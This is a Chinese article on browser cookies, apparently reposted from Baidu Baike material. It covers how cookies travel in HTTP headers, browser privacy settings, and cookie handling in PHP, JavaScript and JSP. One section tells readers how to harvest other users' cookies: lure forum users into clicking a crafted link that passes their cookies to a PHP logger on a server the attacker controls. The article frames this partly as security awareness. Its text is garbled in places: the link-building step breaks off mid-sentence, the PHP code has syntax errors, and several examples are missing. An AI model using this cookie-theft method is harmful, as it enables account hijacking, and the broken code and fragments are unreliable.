Cookie(整理自百度百科)

来源:互联网 发布:淘宝客人工服务电话 编辑:程序博客网 时间:2024/05/16 15:15

一.了解Cookie 

  Cookie是当你浏览某网站时,网站存储在你机器上的一个小文本文件,它记录了你的用户ID,密码、浏览过的网页、停留的时间等信息,当你再次来到该网站时,网站通过读取Cookie,得知你的相关信息,就可以做出相应的动作,如在页面显示欢迎你的标语,或者让你不用输入ID、密码就直接登录等。你可以在IE的“工具/Internet选项”的“常规”选项卡中,选择“设置/查看文件”,查看所有保存到你电脑里的Cookie。这些文件通常是以user@domain格式命名的,user是你的本地用户名,domain是所访问的网站的域名。如果你使用NetsCape浏览器,则存放在“C:/PROGRAMFILES/NETSCAPE/USERS/”里面,与IE不同的是,NETSCAPE是使用一个Cookie 文件记录所有网站的Cookies。

  为了保证上网安全我们需要对Cookie进行适当设置。打开“工具/Internet选项”中的“隐私”选项卡(注意该设置只在IE6.0中存在,其他版本IE可以在“工具/Internet选项”的“安全”标签中单击“自定义级别”按钮,进行简单调整),调整Cookie的安全级别。通常情况,可以将滑块调整到“中高”或者“高”的位置。多数的论坛站点需要使用Cookie信息,如果你从来不去这些地方,可以将安全级调到“阻止所有Cookies”。如果只是为了禁止个别网站的Cookie,可以单击“编辑”按钮,将要屏蔽的网站添加到列表中。在“高级”按钮选项中,你可以对第一方Cookie和第三方的Cookie进行设置,第一方Cookie是你正在浏览的网站的Cookie,第三方Cookie非正在浏览的网站发给你的Cookie,通常要对第三方Cookie选择“拒绝”,如图1。你如果需要保存Cookie,可以使用IE的“导入导出”功能,打开“文件/导入导出”,按提示操作即可。

  Cookie中的内容大多数经过了加密处理,因此在我们看来只是一些毫无意义的字母数字组合,只有服务器的CGI处理程序才知道它们真正的含义。通过一些软件我们可以查看到更多的内容,使用Cookie Pal软件查看到的Cookie信息,如图2所示。它为我们提供了Server、Expires、Name、value等选项的内容。其中,Server是存储Cookie的网站,Expires记录了Cookie的时间和生命期,Name和value字段则是具体的数据

二、Cookie的传递流程

  当在浏览器地址栏中键入了Amazon的URL,浏览器会向Amazon发送一个读取网页的请求,并将结果在显示器上显示。这时该网页在你的电脑上寻找Amazon网站设置的Cookie文件,如果找到,浏览器会把Cookie文件中的数据连同前面输入的URL一同发送到Amazon服务器。服务器收到Cookie数据,就会在他的数据库中检索你的ID,你的购物记录、个人喜好等信息,并记录下新的内容,增加到数据库和Cookie文件中去。如果没有检测到Cookie或者你的Cookie信息与数据库中的信息不符合,则说明你是第一次浏览该网站,服务器的CGI程序将为你创建新的ID信息,并保存到数据库中。

  Cookie是利用了网页代码中的HTTP头信息进行传递的,浏览器的每一次网页请求,都可以伴随Cookie传递,例如,浏览器的打开或刷新网页操作。服务器将Cookie添加到网页的HTTP头信息中,伴随网页数据传回到你的浏览器,浏览器会根据你电脑中的Cookie设置选择是否保存这些数据。如果浏览器不允许Cookie保存,则关掉浏览器后,这些数据就消失。Cookie在电脑上保存的时间是不一样的,这些都是由服务器的设置不同决定得。Cookie有一个Expires(有效期)属性,这个属性决定了Cookie的保存时间,服务器可以通过设定Expires字段的数值,来改变Cookie的保存时间。如果不设置该属性,那么Cookie只在浏览网页期间有效,关闭浏览器,这些Cookie自动消失,绝大多数网站属于这种情况。通常情况下,Cookie包含Server、Expires、Name、value这几个字段,其中对服务器有用的只是Name和value字段,Expires等字段的内容仅仅是为了告诉浏览器如何处理这些Cookies。

三、Cookie的编程实现

  多数网页编程语言都提供了对Cookie的支持。如javascript、VBScript、Delphi、ASP、SQL、PHP、C#等。在这些面向对象的编程语言中,对Cookie的编程利用基本上是相似的,大体过程为:先创建一个Cookie对象(Object),然后利用控制函数对Cookie进行赋值、读取、写入等操作。那么如何通过代码来获取其他用户Cookie中的敏感信息?下面进行简单的介绍。

  该方法主要有两步,首先要定位你需要收集Cookie的网站,并对其进行分析,并构造URL;然后编制收集Cookie的PHP代码,并将其放到你可以控制的网站上,当不知情者单击了你构造的URL后可以执行该PHP代码。下面我们看具体的实现过程。

  1.分析并构造URL

  首先打开我们要收集Cookie的网站,这里假设是登陆网站输入用户名“”(不含引号),对数据进行分就是你能够控制的某台主机上的一个脚本。需要注意的是“%2B”为符号“+”的URL编码,因为“+”将被作为空格处理。该URL就可以在论坛中发布,诱使别人点击了。

  2.编制PHP脚本

  该脚本的作用就是收集Cookie文件,具体内容如下:

  $info = getenv("QUERY_STRING";

  if ($info) {

  $fp = fopen("info.txt","a";

  fwrite($fp,$info."/n";

  fclose($fp);

  }

  ?>

四、Cookie的安全问题

  适用对象:所有希望上网安全的读者

  1.Cookie欺骗

  Cookie记录着用户的帐户ID、密码之类的信息,如果在网上传递,通常使用的是MD5方法加密。这样经过加密处理后的信息,即使被网络上一些别有用心的人截获,也看不懂,因为他看到的只是一些无意义的字母和数字。然而,现在遇到的问题是,截获Cookie的人不需要知道这些字符串的含义,他们只要把别人的Cookie向服务器提交,并且能够通过验证,他们就可以冒充受害人的身份,登陆网站。这种方法叫做Cookie欺骗。Cookie欺骗实现的前提条件是服务器的验证程序存在漏洞,并且冒充者要获得被冒充的人的Cookie信息。目前网站的验证程序要排除所有非法登录是非常困难的,例如,编写验证程序使用的语言可能存在漏洞。而且要获得别人Cookie是很容易的,用支持Cookie的语言编写一小段代码就可以实现(具体方法见三),只要把这段代码放到网络里,那么所有人的Cookie都能够被收集。如果一个论坛允许HTML代码或者允许使用Flash标签就可以利用这些技术收集Cookie的代码放到论坛里,然后给帖子取一个吸引人的主题,写上有趣的内容,很快就可以收集到大量的Cookie。在论坛上,有许多人的密码就被这种方法盗去的。至于如何防范,目前还没有特效药,我们也只能使用通常的防护方法,不要在论坛里使用重要的密码,也不要使用IE自动保存密码的功能,以及尽量不登陆不了解底细的网站。

  2.Flash的代码隐患

  Flash中有一个getURL()函数,Flash可以利用这个函数自动打开指定的网页。因此它可能把你引向一个包含恶意代码的网站。打个比方,当你在自己电脑上欣赏精美的Flash动画时,动画帧里的代码可能已经悄悄地连上网,并打开了一个极小的包含有特殊代码的页面。这个页面可以收集你的Cookie、也可以做一些其他的事情,比如在你的机器上种植木马甚至格式化你的硬盘等等。对于Flash的这种行为,网站是无法禁止的,因为这是Flash文件的内部行为。我们所能做到的,如果是在本地浏览尽量打开防火墙,如果防火墙提示的向外发送的数据包并不为你知悉,最好禁止。如果是在Internet上欣赏,最好找一些知名的大网站。

Cookie是怎样工作的?

  要了解Cookie,必不可少地要知道它的工作原理。一般来说,Cookie通过HTTP Headers从服务器端返回

  到浏览器上。首先,服务器端在响应中利用Set-Cookie header来创建一个Cookie ,然后,浏览器在它的请

  求中通过Cookie header包含这个已经创建的Cookie,并且反它返回至服务器,从而完成浏览器的论证。

  例如,我们创建了一个名字为login的Cookie来包含访问者的信息,创建Cookie时,服务器端的Header

  如下面所示,这里假设访问者的注册名是“Michael Jordan”,同时还对所创建的Cookie的属性如path、

  domain、expires等进行了指定。

  expires=Monday,01-Mar-99 00:00:01 GMT

  上面这个Header会自动在浏览器端计算机的Cookie文件中添加一条记录。浏览器将变量名为“login”

  的Cookie赋值为“Michael Jordon”。注意,在实际传递过程中这个Cookie的值是经过了URLEncode方法的

  URL编码操作的。 这个含有Cookie值的HTTP Header被保存到浏览器的Cookie文件后,Header就通知浏览器

  将Cookie通过请求以忽略路径的方式返回到服务器,完成浏览器的认证操作。

  此外,我们使用了Cookie的一些属性来限定该Cookie的使用。例如Domain属性能够在浏览器端对Cookie

  发送进行限定,具体到上面的例子,该Cookie只能传达室到指定的服务器上,而决不会跑到其他的如

  的Web站点上去。Expires属性则指定了该Cookie保存的时间期限,例如上面的Cookie在浏览器上

  只保存到1999年3月1日1秒。当然,如果浏览器上Cookie 太多,超过了系统所允许的范围,浏览器将自动对

  它进行删除。至于属性Path,用来指定Cookie将被发送到服务器的哪一个目录路径下。

  说明:浏览器创建了一个Cookie后,对于每一个针对该网站的请求,都会在Header中带着这个Cookie;

  不过,对于其他网站的请求Cookie是绝对不会跟着发送的。而且浏览器会这样一直发送,直到Cookie过期为止。

  上一部分讲了有关Cookie的技术背景,这部分来说说在PHP里如何设置、使用、删除Cookie,及Cookie

  的一些限制。PHP对Cookie支持是透明的,用起来非常方便。

设置Cookie

相关函数

  PHP用SetCookie函数来设置Cookie。必须注意的一点是:Cookie是HTTP协议头的一部分,用于浏览器和

  服务器之间传递信息,所以必须在任何属于HTML文件本身的内容输出之前调用Cookie函数。SetCookie 函数

  定义了一个Cookie,并且把它附加在HTTP头的后面,SetCookie函数的原型如下:

  int SetCookie(string name, string value, int expire, string path, string domain, int secure);

  除了name之外所有的参数都是可选的。value,path,domain 三个参数可以用空字符串代换,表示没有设

  置;expire和 secure两个参数是数值型的,可以用0表示。expire参数是一个标准的Unix时间标记,可以用

  time()或mktime() 函数取得,以秒为单位。secure参数表示这个Cookie是否通过加密的HTTPS协议在网络上

  传输。

  当前设置的Cookie 不是立即生效的,而是要等到下一个页面时才能看到.这是由于在设置的这个页面里

  Cookie由服务器传递给客户浏览器,在下一个页面浏览器才能把Cookie从客户的机器里取出传回服务器的原

  因。在同一个页面设置Cookie,实际是从后往前,所以如果要在插入一个新的Cookie之前删掉一个,你必须

  先写插入的语句,再写删除的语句,否则可能会出现不希望的结果。

使用举例

  来看几个例子:

  简单的:

  SetCookie("MyCookie", "Value of MyCookie");

  带失效时间的:

  SetCookie("WithExpire", "Expire in 1 hour", time()+3600);//3600秒=1小时

  什么都有的:

  这里还有一点要说明的,比如你的站点有几个不同的目录,那么如果只用不带路径的Cookie的话,在一

  个目录下的页面里设的Cookie在另一个目录的页面里是看不到的,也就是说,Cookie是面向路径的。实际上,

  即使没有指定路径,WEB 服务器会自动传递当前的路径给浏览器的,指定路径会强制服务器使用设置的路径。

  解决这个问题的办法是在调用SetCookie时加上路径和域名,域名的格式可以是也可

  是

  SetCookie函数里表示value的部分,在传递时会自动被encode,也就是说,如果value的值是“test

  value”在传递时就变成了“test%20value”,跟URL的方法一样。当然,对于程序来说这是透明的,因为在

  PHP接收Cookie的值时会自动将其decode。

  如果要设置同名的多个Cookie,要用数组,方法是:

  SetCookie("CookieArray[]", "Value 1");

  SetCookie("CookieArray[]", "Value 2");

  或

  SetCookie("CookieArray[0]", "Value 1");

  SetCookie("CookieArray[1]", "Value 2");

  接收和处理Cookie

  PHP对Cookie的接收和处理的支持非常好,是完全自动的,跟FORM变量的原则一样,特别简单。比如设

  置一个名为MyCookier的Cookie,PHP会自动从WEB服务器接收的HTTP头里把它分析出来,并形成一个与普通

  变量一样的变量,名为$myCookie,这个变量的值就是Cookie的值。数组同样适用。另外一个办法是引用PHP

  的全局变量$HTTP_COOKIE_VARS数组。

  分别举例如下:(假设这些都在以前的页面里设置过了,并且仍然有效)

  echo $MyCookie;

  echo $CookieArray[0];

  echo count($CookieArray);

  echo $HTTP_COOKIE_VARS["MyCookie"];

  就这么简单。

如何删除Cookie

  要删除一个已经存在的Cookie,有三个办法:

  一是调用只带有name参数的SetCookie,那么名为这个name的Cookie 将被从关系户机上删掉;另一个办

  法是设置Cookie的失效时间为time()或time()-1,那么这个Cookie在这个页面的浏览完之后就被删除了(其

  实是失效了)。

  要注意的是,当一个Cookie被删除时,它的值在当前页在仍然有效的。

  右键单击Cookie文件夹——属性——高级——去掉所有的对好——确定——应用为——确定。

  这样就可以不在Cookiel里储存文件了

  第三个是*(vista中):在桌面按F1,弹出帮助, 输入cookie,选择 删除Internet cookie,弹出 "Internet 选项",在 浏览记录 一栏里选择 “删除”,然后弹出删除的内容(包括临时文件,表单记录等),选择 删除cookie,即可。

  此法,适用于各种浏览器,包括360,遨游,闪游,火狐,世界之窗等。

Javascript 读cookie

  /**************************************************

  参数说明:

  sMainName Cookie名

  sSubName Cookie子键名,留空表示单值Cookie

  **************************************************/

  function GetCookie(sMainName, sSubName)

  {

  var re = new RegExp((sSubName ? sMainName + "=(.*?&)*?" + sSubName + "=(.*?)(&|;|$)" : sMainName + "=(.*?);"),"i");

  return re.test(unescape(document.cookie)) ? (sSubName ? RegExp["$2"] : RegExp["$1"]) : "";

  }

  由于asp的cookie是经过url编码的,所以读之前要unescape一下。

jsp中的cookie

jsp中使用cookie完成状态管理:

  cookie也算http消息报头的一部分,它的作用有以下方面:

  一 记录访客的某些信息。例如可以利用cookie记录用户光临的网页次数,或者访客曾经输入过的信息。某些网站可以自动记录用户上次登录的用户名,用的就是cookie。

  二 页面之间传递变量。浏览器并不会保存当前页面上任何变量的信息,当页面被关闭时,页面上的所有变量信息将随之消失。

使用举例

  在jsp中创建简单的cookie:

  String cookiename="visitTimes";

  Cookie cookie=new Cookie(cookiename,"1");

  cookie.setMaxAge(10*60);//设置cookie存活期

  cookie.addCookie(cookie);//将cookie写入客户端

  在jsp中处理cookie数据的常用方法:

  getDomain();返回cookie的域名.

  getMaxAge();返回cookie的存活时间

  getName();返回cookie的名字

  getPath();返回cookie适用的路径

  getSecure();如果浏览器通过安全协议发送Cookie将返回true值,如果浏览器使用标准协议刚返回false值

  getValue();返回cookie的值

  getVersion();返回cookie所遵从的协议版本

  setComment(String purpose);设置cookie的注释

  setPath(String url);设置Cookie的适用路径

  setSecure(Boolean flag);设置浏览器是否仅仅使用安全协议来发送cookie,例如使用Https或ssl

  setValue(String newvalue);cookie创建后设置一个新的值

  setVersion(int v);设置cookie所遵从的协议版本.

原创粉丝点击